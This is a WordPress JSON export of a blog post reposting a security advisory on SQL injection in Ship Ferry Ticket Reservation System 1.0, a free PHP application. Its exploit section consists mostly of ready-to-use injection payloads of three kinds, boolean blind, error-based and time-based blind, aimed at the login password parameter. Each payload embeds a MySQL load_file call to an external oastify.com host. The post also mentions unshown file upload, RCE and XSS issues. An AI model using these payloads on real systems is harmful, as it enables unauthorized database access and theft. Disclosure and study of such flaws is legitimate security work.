{"id":59728,"date":"2024-09-16T17:59:40","date_gmt":"2024-09-16T14:59:40","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181533\/shipftrs10-sql.txt"},"modified":"2024-09-16T17:59:40","modified_gmt":"2024-09-16T14:59:40","slug":"ship-ferry-ticket-reservation-system-1-0-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/ship-ferry-ticket-reservation-system-1-0-sql-injection\/","title":{"rendered":"Ship Ferry Ticket Reservation System 1.0 SQL Injection"},"content":{"rendered":"<p>## Titles: SFTRS &#8211; PHP (by: oretnom23 ) v1.0 Multiple-SQLi<br \/>### Bonus: FU + RCE &amp; XSS &#8211; Information disclosure<br \/>## Author: nu11secur1ty<br \/>## Date: 09\/14\/2024<br \/>## Vendor: https:\/\/github.com\/oretnom23<br \/>## Software:<br \/>https:\/\/www.sourcecodester.com\/php\/14923\/shipferry-ticket-reservation-system-using-php-free-source-code.html<br \/>## Reference: https:\/\/portswigger.net\/web-security\/sql-injection<\/p>\n<p>## Description:<br \/>The `password` parameter appears to be vulnerable to SQL injection attacks.<br \/>The payload &#8216;+(select load_file(&#8216;\\\\\\\\<br \/>wxx3v5fkcqnwh58c574znoqo1f78vyjpmde05ou.oastify.com\\\\tiq&#8217;))+&#8217; was submitted<br \/>in the password parameter. This payload injects a SQL sub-query that calls<br \/>MySQL&#8217;s load_file function with a UNC file path that references a URL on an<br \/>external domain. The application interacted with that domain, indicating<br \/>that the injected SQL query was executed. The attacker can get all the<br \/>information from the database of this system, and he can do very malicious<br \/>action against the owner of this application!<\/p>\n<p>STATUS: HIGH- Vulnerability for deprecation!<br \/>WARNING: DON&#8217;T USE ANY PRODUCTS FROM THIS VENDOR!<br \/>https:\/\/github.com\/oretnom23<\/p>\n[+]Exploits:<br \/>&#8211; SQLi Multiple:<br \/>&#8220;`mysql<br \/>&#8212;<br \/>Parameter: password (POST)<br \/>Type: boolean-based blind<br \/>Title: OR boolean-based blind &#8211; WHERE or HAVING clause (NOT)<br \/>Payload: username=iOPjKWgj&amp;password=i8V!p7q!S1&#8217;+(select load_file(&#8216;\\\\\\\\<br \/>wxx3v5fkcqnwh58c574znoqo1f78vyjpmde05ou.oastify.com\\\\tiq&#8217;))+&#8221;) OR NOT<br \/>9033=9033 AND (&#8216;ehPW&#8217;=&#8217;ehPW<\/p>\n<p>Type: error-based<br \/>Title: MySQL &gt;= 5.0 AND error-based &#8211; WHERE, HAVING, ORDER BY or GROUP<br \/>BY clause (FLOOR)<br \/>Payload: username=iOPjKWgj&amp;password=i8V!p7q!S1&#8217;+(select load_file(&#8216;\\\\\\\\<br \/>wxx3v5fkcqnwh58c574znoqo1f78vyjpmde05ou.oastify.com\\\\tiq&#8217;))+&#8221;) AND (SELECT<br \/>4905 FROM(SELECT COUNT(*),CONCAT(0x7171767a71,(SELECT<br \/>(ELT(4905=4905,1))),0x71706b7871,FLOOR(RAND(0)*2))x FROM<br \/>INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND (&#8216;zzCg&#8217;=&#8217;zzCg<\/p>\n<p>Type: time-based blind<br \/>Title: MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)<br \/>Payload: username=iOPjKWgj&amp;password=i8V!p7q!S1&#8217;+(select load_file(&#8216;\\\\\\\\<br \/>wxx3v5fkcqnwh58c574znoqo1f78vyjpmde05ou.oastify.com\\\\tiq&#8217;))+&#8221;) AND (SELECT<br \/>1493 FROM (SELECT(SLEEP(7)))tpHs) AND (&#8216;PbYw&#8217;=&#8217;PbYw<br \/>&#8212;<br \/>&#8220;`<\/p>\n<p>## Reproduce:<br \/>[href](https:\/\/www.patreon.com\/posts\/sftrs-php-by-v1-112034018)<\/p>\n<p>## Proof and Exploit:<br \/>[href](<br \/>https:\/\/www.nu11secur1ty.com\/2024\/09\/sftrs-php-by-oretnom23-shipferry-ticket.html<br \/>)<\/p>\n<p>## Time spent:<br \/>00:17:00<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## Titles: SFTRS &#8211; PHP (by: oretnom23 ) v1.0 Multiple-SQLi### Bonus: FU + RCE &amp; XSS &#8211; Information disclosure## Author: nu11secur1ty## Date: 09\/14\/2024## Vendor: https:\/\/github.com\/oretnom23## Software:https:\/\/www.sourcecodester.com\/php\/14923\/shipferry-ticket-reservation-system-using-php-free-source-code.html## Reference: https:\/\/portswigger.net\/web-security\/sql-injection ## Description:The `password` parameter appears to be vulnerable to SQL injection attacks.The payload &#8216;+(select load_file(&#8216;\\\\\\\\wxx3v5fkcqnwh58c574znoqo1f78vyjpmde05ou.oastify.com\\\\tiq&#8217;))+&#8217; was submittedin the password parameter. This payload injects a SQL sub-query that &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59728","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59728","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59728"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59728\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59728"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59728"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59728"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}